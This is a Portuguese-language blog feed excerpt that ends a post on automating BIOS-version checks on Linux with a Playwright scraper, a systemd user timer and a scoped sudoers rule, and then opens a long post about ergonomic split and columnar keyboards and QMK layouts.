</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Faça um <code>chmod +x</code> pra tornar executável e, se tudo der certo, terá uma resposta como esta:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[sudo] password for akitaonrails:
🖥  Current BIOS: F33
🌐 Latest BIOS:  F33
✅ You are up to date.</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>É um tiro de canhão pra matar uma mosca, mas isso vai usar o Chromium headless pra puxar a página, carregar o javascript e aí usar seletores de CSS pra achar a versão da BIOS, comparar com o da sua máquina e ver se está atualizado.</p>
<p>Caso não esteja, não tem jeito, tem que ir manualmente no site, baixar o arquivo ZIP, extrair num pen drive e bootar na BIOS pra atualizar manualmente. Mas pelo menos consigo checar rapidamente de tempos em tempos só com uma linha de comando agora.</p>
<h2>Checagem automática de versão de BIOS<span class="hx:absolute hx:-mt-20" id="checagem-automática-de-versão-de-bios"></span>
    <a href="#checagem-autom%c3%a1tica-de-vers%c3%a3o-de-bios" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Resolvi que não quero lembrar rodar esse script manualmente, então a melhor coisa é criar um serviço systemd de usuário, e checar automaticamente toda semana. Se tiver versão nova, criar uma notificação ao GNOME pra eu poder ver visualmente e automaticamente mandar abrir a página de download pra mim.</p>
<p>Primeiro, preciso fazer meu usuário ter acesso ao comando dmidecode pra checar a versão atual da minha BIOS sem precisar digitar senha com <code>sudo</code>, pra isso vamos criar uma nova regra de sudoers assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo visudo -f /etc/sudoers.d/bios-check</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Vai abrir um arquivo vazio onde preencho assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo /usr/sbin/dmidecode -s bios-version</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E não esquecer de colocar a permissão correta nesse arquivo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo chmod 0440 /etc/sudoers.d/bios-check</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Com isso não vai mais pedir senha pra rodar esse comando, já que vamos colocar num serviço em background rodando automaticamente. Obviamente não é seguro permitir rodar <code>sudo</code> sem senha, por isso limitamos exclusivamente pra permitir isso somente nesse binário específico e nada mais.</p>
<p>No mesmo diretórios dos outros arquivos com playwright instalado e tudo mais, crio um <code>bios-update-check.sh</code> com este conteúdo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Path to your Playwright BIOS scraper script</span>
</span></span><span class="line"><span class="cl"><span class="nv">JS_CHECKER</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/bios-check/check_bios_playwright.js&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">NODE_BIN</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>which node<span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># URL of your motherboard&#39;s BIOS support page</span>
</span></span><span class="line"><span class="cl"><span class="nv">URL</span><span class="o">=</span><span class="s2">&#34;https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-10/support#support-dl-bios&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get current BIOS version</span>
</span></span><span class="line"><span class="cl"><span class="nv">CURRENT</span><span class="o">=</span><span class="k">$(</span>sudo dmidecode -s bios-version <span class="p">|</span> tr -d <span class="s1">&#39;[:space:]&#39;</span> <span class="p">|</span> tr <span class="s1">&#39;[:lower:]&#39;</span> <span class="s1">&#39;[:upper:]&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get latest BIOS version from Gigabyte site</span>
</span></span><span class="line"><span class="cl"><span class="nv">LATEST</span><span class="o">=</span><span class="k">$(</span><span class="nv">$NODE_BIN</span> <span class="s2">&#34;</span><span class="nv">$JS_CHECKER</span><span class="s2">&#34;</span> <span class="p">|</span> grep -o <span class="s1">&#39;F[0-9]\+&#39;</span> <span class="p">|</span> head -1<span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> -z <span class="s2">&#34;</span><span class="nv">$LATEST</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  notify-send <span class="s2">&#34;BIOS Check&#34;</span> <span class="s2">&#34;⚠️ Failed to fetch latest BIOS version from Gigabyte&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$CURRENT</span><span class="s2">&#34;</span> !<span class="o">=</span> <span class="s2">&#34;</span><span class="nv">$LATEST</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  notify-send -u normal <span class="s2">&#34;🔔 BIOS Update Available!&#34;</span> <span class="s2">&#34;Current: </span><span class="nv">$CURRENT</span><span class="s2"> → Latest: </span><span class="nv">$LATEST</span><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">Opening the download page...&#34;</span> --app-name<span class="o">=</span><span class="s2">&#34;BIOS Checker&#34;</span>
</span></span><span class="line"><span class="cl">  xdg-open <span class="s2">&#34;</span><span class="nv">$URL</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>É a mesma coisa do script anterior mas agora usando <code>notify-send</code> pra mandar mensagens pro Gnome (em KDE é diferente) e usando <code>xdg-open</code> pra abrir a URL no navegador default do sistema. Configure diferente pro seu sistema. Não esquecer de tornar executável e testar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>chmod &#43;x ~/.local/bin/bios-update-check.sh</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Agora é criar o serviço systemd pro meu usuário (diferente de criar um pra sistema que roda com mais permissões. Só preciso disso rodando no nível do meu usuário), então crio o arquivo <code>~/.config/systemd/user/bios-check.service</code> com o seguinte conteúdo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[Unit]
Description=Weekly BIOS version checker

[Service]
Type=oneshot
ExecStart=/home/akitaonrails/.local/bin/bios-check/bios-update-check.sh</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Agora o serviço de timer pra rodar toda semana chamado <code>~/.config/systemd/user/bios-check.timer</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[Unit]
Description=Run BIOS version check weekly

[Timer]
OnCalendar=weekly
Persistent=true

[Install]
WantedBy=default.target</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E habilitar o timer:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>systemctl --user daemon-reexec
systemctl --user daemon-reload
systemctl --user enable --now bios-check.timer</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Por convenção no Systemd, um timer [blabla].timer vai executar o serviço com mesmo nome [blabla].service. Por isso precisa dos dois. Se você habilitar o serviço direto, ele vai rodar só uma vez e sair. Pra saber se tá ativado certo faça o seguinte:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>✦ ❯ systemctl --user list-timers

NEXT                          LEFT LAST PASSED UNIT             ACTIVATES
Mon 2025-04-21 00:00:00 -03 2 days -         - bios-check.timer bios-check.service

1 timers listed.
Pass --all to see loaded but inactive timers, too.</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E é assim que você pode automatizar algumas coisas no seu sistema e aproveitar seu Gnome melhor.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Só comecei essa jornada desta vez porque me ocorreu que fazia meses que eu não atualizava o firmware da placa-mãe e aí aproveitei pra tunar algumas coisas que não tinha feito antes. Coisas como PBO estava no automático (então eu estava deixando performance pra trás, lembro que da última vez tinha ficado instável mas eu não fui atrás pra saber porque), coisas como XMP/EXPO já tava ligado. Mas agora eu acho que realmente liguei tudo que podia.</p>
<p>Também fazia anos que eu não experimentava a kernel Linux-Zen, então já aproveitei pra testar agora. E como falei, por enquanto tá estável. Como comecei a aprender Blender e puxar mais CPU e memória, achei que valia a pena gastar um tempo tentando extrair o máximo da minha máquina. Modelagem 3D é totalmente CPU/RAM, mais que GPU.</p>
<p>Ah sim, falando em Blender, uma última coisa. Lembra que meu Ryzen tem 1 CCD, que é aquele 1 die com 96MB de cache L3. Melhor coisa a fazer é criar afinidade do Blender com esse die e evitar que ele caia no core com só 32MB de cache L3.</p>
<p>No Linux, pra fazer isso, é esta linha de comando:</p>
<p><code>taskset -c 0-15 blender-4.3 &amp;</code></p>
<p>O comando taskset vai dar dica pro scheduler que o blender deve ficar nas threads de 0 a 15 (onde tem V-Cache) e não de 16 a 31 (que só tem 32MB). Dessa forma, em teoria, estou dando as maiores chances ao Blender de funcionar na melhor performance possível nesta máquina. Programas pouco importantes como o navegador, terminal, se cair no core de 32MB, não tem problema.</p>
<p>Eu faço a mesma coisa no libvirt/qemu quando rodo Windows emulado: eu configuro o libvirt pra subir a VM atrelado ao CCD de 96MB e deixo o outro core pro Linux host. Aliás, falando em BIOS, pra rodar VMs tem que habilitar SVM e IOMMU, que costumam vir desligados porque suporte a máquinas virtuais rouba um pouco da performance da CPU. Máxima performance é com eles <strong>desligados</strong>. Se você não vai usar VMs, deixe desligado.</p>
<p>E se alguém notou que estou rodando explicitamente o Blender 4.3 em vez do mais novo Blender 4.4 é porque alguns addons ainda não funcionam na versão mais nova, então é melhor ficar uma versão pra trás pra ter mais compatibilidade com addons que não atualizam rápido.</p>
]]></content:encoded><category>hardware</category><category>performance</category><category>linux</category></item><item><title>Meus Teclados Modernos Favoritos</title><link>https://www.akitaonrails.com/2024/10/24/meus-teclados-modernos-favoritos/</link><guid isPermaLink="true">https://www.akitaonrails.com/2024/10/24/meus-teclados-modernos-favoritos/</guid><pubDate>Thu, 24 Oct 2024 11:05:00 -0300</pubDate><description>&lt;p&gt;Pra quem acompanhou meu canal no YouTube, deve ter visto a trilogia de videos onde contei a história por trás de teclados, desmistifiquei os teclados mecânicos, os diversos componentes, modelos mais populares da época. E hoje estou de volta pra terminar falando dos meus teclados modernos mais interessantes e qual eu realmente uso todo dia.&lt;/p&gt;
&lt;p&gt;Se não assistiu, recomendo que assista a trilogia de videos depois:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=tEXX1jdpZN8"target="_blank" rel="noopener"&gt;Entendendo Teclados Mecânicos | Minha coleção - Parte 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=57axLgXkS_M"target="_blank" rel="noopener"&gt;Teclados Mecânicos Exóticos | Minha coleção - Parte 2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=78aw1muYWQM"target="_blank" rel="noopener"&gt;Caminho pro Melhor Teclado do Mundo!&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Primeiro Aviso:&lt;/strong&gt; antes que os chatos comentem. Sim, teclados mecânicos são caros. MUITO CAROS. Sim, dá pra escrever livros inteiros num teclado de 50 reais da Multilaser comprado na Kalunga. Não precisa ter switches mecânicos, não precisa de tecla PBT double-shot. Não precisa mudar de layout, qwerty staggered tradicional funciona muito bem. Não precisa de unibody de alumínio. Não precisa de RGB. Não precisa gastar R$ 2.500 num modelo topo de linha. Definitivamente não precisa. Quem faz a obra-prima é o autor e não o teclado.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Pra quem acompanhou meu canal no YouTube, deve ter visto a trilogia de videos onde contei a história por trás de teclados, desmistifiquei os teclados mecânicos, os diversos componentes, modelos mais populares da época. E hoje estou de volta pra terminar falando dos meus teclados modernos mais interessantes e qual eu realmente uso todo dia.</p>
<p>Se não assistiu, recomendo que assista a trilogia de videos depois:</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=tEXX1jdpZN8"target="_blank" rel="noopener">Entendendo Teclados Mecânicos | Minha coleção - Parte 1</a></li>
<li><a href="https://www.youtube.com/watch?v=57axLgXkS_M"target="_blank" rel="noopener">Teclados Mecânicos Exóticos | Minha coleção - Parte 2</a></li>
<li><a href="https://www.youtube.com/watch?v=78aw1muYWQM"target="_blank" rel="noopener">Caminho pro Melhor Teclado do Mundo!</a></li>
</ul>
<p><strong>Primeiro Aviso:</strong> antes que os chatos comentem. Sim, teclados mecânicos são caros. MUITO CAROS. Sim, dá pra escrever livros inteiros num teclado de 50 reais da Multilaser comprado na Kalunga. Não precisa ter switches mecânicos, não precisa de tecla PBT double-shot. Não precisa mudar de layout, qwerty staggered tradicional funciona muito bem. Não precisa de unibody de alumínio. Não precisa de RGB. Não precisa gastar R$ 2.500 num modelo topo de linha. Definitivamente não precisa. Quem faz a obra-prima é o autor e não o teclado.</p>
<p>Isso dito, sim, dá pra ir de São Paulo pra Bahia num Fusca. Ele vai servir sua função de levar do ponto A ao ponto B, como meu pai faria quando era jovem, como meu avô faria na época dele. Funciona perfeitamente bem. Mas, alguns de nós preferem fazer o mesmo trajeto com ar-condicionado, poltronas ergonômicas, som de qualidade, mais velocidade e mais segurança. Nada disso é obrigatório. Ir do ponto A ao ponto B pode ser feito de várias formas diferentes. Se pra você isso não inclui investir em carros caros, não precisa. Use seu Fusca e seja feliz. Este artigo é somente pra quem gosta de Porsche e vê valor nisso.</p>
<p><strong>Segundo Aviso:</strong> a maioria das fotos que mostro no artigo estão em alta resolução original. Pra ver mais detalhes, botão direito e &ldquo;abrir imagem e nova aba&rdquo;. Faz bastante diferença.</p>
<p><strong>Terceiro Aviso:</strong> sim, o artigo é SUPER longo, por isso dá pra navegar pras seções principais usando os links abaixo:</p>
<ul>
<li><a href="#layouts-qmk">Layouts e QMK</a></li>
<li><a href="#treinamento">Treinamento</a></li>
<li><a href="#solucoes-diy">Soluções DIY</a></li>
<li><a href="#ortolineares-gk6">Ortolineares - GK6</a></li>
<li><a href="#ortolineares-q15">Ortolineares - Q15</a></li>
<li><a href="#voyager">Meu Teclado Favorito - Voyager</a></li>
<li><a href="#pulso">Ortolinear vs Colunar</a></li>
<li><a href="#framework">O Futuro - Framework</a></li>
</ul>
<p>Fim dos avisos. No terceiro video eu começo a explicar a diferença pro melhor tipo de teclado do mundo: os ortolineares ou colunares. Não vou explicar tudo de novo, mas em resumo, eles se livram do legado histórico do layout limitado pelas máquinas de escrever mecânicas e repensam o que seria o melhor layout pensando na posição de verdade dos seus dedos, inclusive levando em conta que você tem dedos mais longos e dedos mais curtos (os colunares pensam nisso, os ortolineares não).</p>
<p>Naquele video eu tinha acabado de migrar pra um <a href="https://www.zsa.io/moonlander"target="_blank" rel="noopener">ZSA Moonlander</a>. Até hoje ainda é um dos melhores teclados que eu já experimentei. Mas tem dois problemas fundamentais: primeiro que é extremamente caro, faixa de USD 400. Pra nós, brasileiros, é pior ainda porque vai incidir quase 100% de impostos mais transporte, então estamos falando de um teclado de pelo menos USD 800, mais caro que um PS5, quase o preço de um iPhone 16 Pro comprado nos EUA, faixa de preço de um notebook completo.</p>
<p>Mesmo se dinheiro não for um empecilho pra você, o segundo problema, é que ele é fisicamente gigantesco. Ocupa um espaço absurdo na mesa. Mesmo que tenha uma mesa espaçosa, ele vai ser um &ldquo;trambolhão&rdquo;, olha só como é:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/jn6bce1tishe4tgocps39gtvlvlq" alt="Moonlander"  loading="lazy" /></p>
<p>Mas como disse, a construção da ZSA é de extrema qualidade, os materiais usados incluem metais como alumínio, portanto é tudo muito firme. Os plásticos também são de ótima qualidade. Os switches são removíveis então você pode experimentar um conjunto silencioso como Reds lineares ou barulhentos como Brown ou Blue.</p>
<p>Note também como ele tem inclinação (<a href="https://www.youtube.com/watch?v=oGQhiURh6Tw"target="_blank" rel="noopener">tenting</a>), que faz o meio ser mais alto, pra evitar pronação dos seus pulsos (um dos maiores ofensores em LER ou tendinite), e por isso também tem apoio pros punhos embaixo. É de longe o mais ergonômico. Além disso tem buraco pra parafuso padrão igual de câmera fotográfica, o que permite encaixar em tripés, caso queira experimentar estilos mais exóticos de postura.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/1l8uo8a8opjlj7ova41ld96idhca" alt="Moonlander perfil"  loading="lazy" /></p>
<p>O canal do <a href="https://www.youtube.com/@BenVallack"target="_blank" rel="noopener">Ben Vallack</a> explica melhor isso. Lembrando que o canal dele é extremo, não é pra todo mundo, precisa de muita dedicação pra conseguir se acostumar ao estilo dele, mas é legal ter com referência o que é possível fazer pra casos especiais.</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/II3Wm5P6fOU"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Portanto sim, se pra você o tamanho e o preço não importam, este é de longe o teclado mais customizável, ergonômico e de melhor qualidade possível. Muitos vem me perguntar de modelos como o Kinesis - que também é gigante - mas eu prefiro o Moonlander, nessa categoria. Se formato do Kinesis, em particular, for importante, no final vou falar dele rapidinho.</p>
<p><a name="layouts-qmk"></a></p>
<h2>Layouts e QMK<span class="hx:absolute hx:-mt-20" id="layouts-e-qmk"></span>
    <a href="#layouts-e-qmk" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Mas o Moonlander tem um problema praqueles que querem mesmo cruzar a linha da ergonomia extrema: digitar sem tirar os dedos da &ldquo;home row&rdquo; a linha do meio, onde ficam as teclas &ldquo;F&rdquo; e &ldquo;J&rdquo;. O ideal é ter apenas 3 linhas, uma linha pra cima e outra pra baixo da &ldquo;home row&rdquo;, mas o Moonlander tem 2 linhas acima e 2 linhas abaixo, além de dois thumb-clusters enormes de 4 teclas cada, o que garante que, se tentar usar todas as teclas, vai acabar movendo a mão pra cima e pra baixo mais do que deveria, perdendo o ritmo e velocidade e, principalmente, a ergonomia.</p>
<p>Este passo não é pra todo mundo, mas depois de muito treinar e experimentar, acabei concordando que o formato mais &ldquo;balanceado&rdquo; pra maioria das pessoas que tem intenção de otimizar pra melhor, é o <strong>Corne colunar staggered 40%</strong>.</p>
<p>Se trata de um teclado colunar, ou seja, as teclas estão alinhadas verticalmente, em vez de zig-zaguear entre as linhas, como num convencional. Também são staggered, mas na vertical, ou seja, segue mais ou menos a proporção vertical de comprimento dos dedos. A coluna do meio vai mais pro alto porque o dedo médio é mais longo. Ortolineares são colunares que não são staggered. Já falo mais deles na próxima seção.</p>
<p>Um Corne 40% tem 40% das teclas que um teclado grande convencional - que costuma ter por volta de 103 teclas. Portanto umas 42 teclas. Como são split, divididas no meio, 21 teclas pra cada lado. Alguns preferem remover as duas últimas colunas de teclas nos dois lados mais extremos do teclado, onde ficam &ldquo;tab&rdquo; ou &ldquo;ctrl&rdquo;, reduzindo o total pra 18 teclas de cada lado, ou 36 teclas. E tem alguns como o Ben Vallack que conseguem ir ainda abaixo disso, mas já acho extremo demais e pouco prático pra maioria das pessoas.</p>
<p>Mas como usa um teclado com tão poucas teclas? Como faz pra caber tudo? E esse é o ponto: não faz. Em vez de tentar ter todas as teclas, divide-se em camadas virtuais, com uma tecla modificadora que muda a função de cada tecla. Por exemplo, a maioria dos firmwares de teclados bons hoje são baseados em padrões como QMK ou ZMK. Não quero entrar em detalhes, veja o repositório no GitHub do <a href="https://github.com/qmk/qmk_firmware"target="_blank" rel="noopener">QMK Firmware</a>, mas podemos usar sites como o <a href="https://config.qmk.fm/"target="_blank" rel="noopener">QMK Configurator</a> pra editar o arquivo JSON de layout, visualmente. Por exemplo:</p>
